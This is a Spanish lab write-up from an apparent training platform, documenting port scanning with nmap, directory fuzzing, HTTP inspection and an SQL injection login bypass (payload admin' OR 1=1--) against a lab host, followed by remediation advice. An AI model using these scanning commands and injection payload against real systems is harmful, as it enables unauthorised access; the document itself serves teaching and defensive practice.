

INFORME TÉCNICO DE LABORATORIO

Reconocimiento, Fuzzing y Explotación de Inyección SQL (SQLi)

Objetivo	10.10.50.7	Entorno	HackfyLab
Especialidad	Auditoría de Seguridad Web y Redes	Payload Exitoso	admin' OR 1=1--

1. Resumen Ejecutivo

El presente documento consolida las actividades de auditoría técnica realizadas sobre el objetivo **10.10.50.7**. La metodología aplicada contempló las fases de reconocimiento de puertos, descubrimiento de rutas ocultas mediante fuzzing, inspección de tráfico HTTP y la explotación de una vulnerabilidad de inyección SQL (SQLi) para lograr un bypass de autenticación en la interfaz web.

2. Fase 1: Reconocimiento y Mapeo de Red

Se realizaron escaneos de puertos utilizando la herramienta **nmap** para identificar los servicios activos e información sobre el sistema operativo.

Comandos Ejecutados

Escaneo rápido sin descubrimiento de hosts (sin ping):

```
nmap -Pn 10.10.50.7
```

Escaneo completo de todos los puertos TCP con detección de versiones y timing agresivo:

```
nmap -Pn -sV -p- -T4 10.10.50.7
```

Variante equivalente utilizada durante la sesión:

```
nmap -Pn 10.10.50.7 -T4 -p- -sV
```

Resultados del Escaneo

Puerto	Estado	Servicio	Versión Detectada	Sistema Operativo
22/tcp	Open	SSH	OpenSSH 8.2p1	Ubuntu Linux
80/tcp	Open	HTTP	Nginx 1.18.0 (Ubuntu)	Ubuntu Linux

Salida relevante: *Host is up (0.012s latency). Not shown: 65533 closed tcp ports (reset). Nmap done: 1 IP address (1 host up) scanned in 51.93 seconds.*

3. Fase 2: Enumeración y Fuzzing Web

Con el puerto HTTP (80) identificado, se procedió a la búsqueda automatizada de directorios y archivos mediante ataques de diccionario.

Comando / Configuración del Fuzzing

Herramienta de fuzzing con diccionario dirb/common.txt filtrando códigos 403 y 404:

```
Método : GET
URL : http://10.10.50.7/FUZZ
Wordlist : /usr/share/wordlists/dirb/common.txt
Filtro : Response status 403,404
```

Resultado del progreso: :: Progress: [4614/4614] :: Job [1/1] :: 920 req/sec :: Duration: [0:00:05] :: Errors: 0

Endpoints Descubiertos

Ruta	Código HTTP	Tamaño	Palabras	Líneas	Duración
/admin	200 OK	520 bytes	24	10	8 ms
/login	200 OK	891 bytes	42	18	9 ms

4. Fase 3: Inspección de Peticiones y Respuestas HTTP

Utilizando el proxy de intercepción **PetiFlow**, se inspeccionó el comportamiento de la ruta /login y se capturaron las peticiones/respuestas HTTP.

Petición capturada (GET /login):

```
GET /login HTTP/1.1
Host: 10.10.50.7
Accept: text/html,application/xhtml+xml
User-Agent: Mozilla/5.0 (compatible; HackfyLab/1.0)
Content-Type: application/x-www-form-urlencoded
```

Análisis de Tráfico HTTP

- Campos del formulario detectados: **username y password**
- Acción de envío: POST hacia la ruta %2Flogin (es decir, /login)
- Propósito: Inicio de sesión de cuenta corporativa (admin@hackfy.internal)
- El backend arma una consulta SQL con los valores enviados por el usuario

5. Fase 4: Explotación (SQL Injection Authentication Bypass)

Se evaluó la presencia de fallos en la validación de entradas dentro de los campos del formulario de inicio de sesión. La pista del laboratorio indicaba: «El formulario manda usuario y contraseña al backend, que arma una consulta con ellos. Toca el campo Usuario y prueba qué pasa si tu entrada deja de ser solo un dato.»

Vectores de Inyección Probados

Vector Ingresado (campo Usuario)	Resultado	Observación
admin OR 1'1	Fallido	Error de sintaxis. La comilla quedó mal posicionada.
admin' OR 1=1--	Exitoso	Bypass de autenticación. Acceso como admin@hackfy.internal.

Payload utilizado (comando efectivo):

```
admin' OR 1=1--
```

Desglose Técnico de la Inyección Exitosa

Consulta teórica vulnerable en el backend:

```
SELECT * FROM users
WHERE username = 'ENTRADA_USUARIO'
AND password = 'ENTRADA_PASSWORD';
```

Consulta resultante tras inyectar el payload:

```
SELECT * FROM users
WHERE username = 'admin' OR 1=1-- '
AND password = '...';
```

- ' (Comilla simple): Rompe la delimitación de la cadena del parámetro username.
- **OR 1=1**: Condición booleana siempre verdadera → fuerza a devolver un registro válido.
- -- (Comentario SQL): Invalida el resto de la instrucción (incluyendo la verificación de password).

✓ **Resultado: Acceso exitoso al panel de administración como admin@hackfy.internal. Se visualizó el Token de servicio (svc_int_8f3a2c9d1b6e4f07a5c2), métricas del workspace (1.284 operaciones, 37 equipos activos, 9 tickets abiertos) y la actividad reciente del sistema.**

6. Recomendaciones de Remediación

Para corregir y prevenir las vulnerabilidades expuestas, se deben aplicar los siguientes controles:

6.1 Uso de Consultas Parametrizadas (Prepared Statements)

- **Acción:** Separar la lógica SQL de los datos proporcionados por el usuario.

- **Efecto:** Los caracteres especiales como ' o -- son interpretados como valores literales y no como código ejecutable.

6.2 Hardening de Servidores Web

- **Acción:** Desactivar banners de versión en Nginx con la directiva `server_tokens off;`

6.3 Protección contra Escaneos Automatizados

- **Acción:** Configurar Rate Limiting o desplegar un WAF para bloquear fuzzing y fuerza bruta.

7. Resumen de Comandos Utilizados

```
# ===== Reconocimiento =====
nmap -Pn 10.10.50.7
nmap -Pn -sV -p- -T4 10.10.50.7
nmap -Pn 10.10.50.7 -T4 -p- -sV

# ===== Fuzzing de directorios =====
GET http://10.10.50.7/FUZZ
Wordlist: /usr/share/wordlists/dirb/common.txt
Filter: status 403,404

# ===== Explotación SQLi (campo Usuario del formulario /login) =====
admin' OR 1=1--
```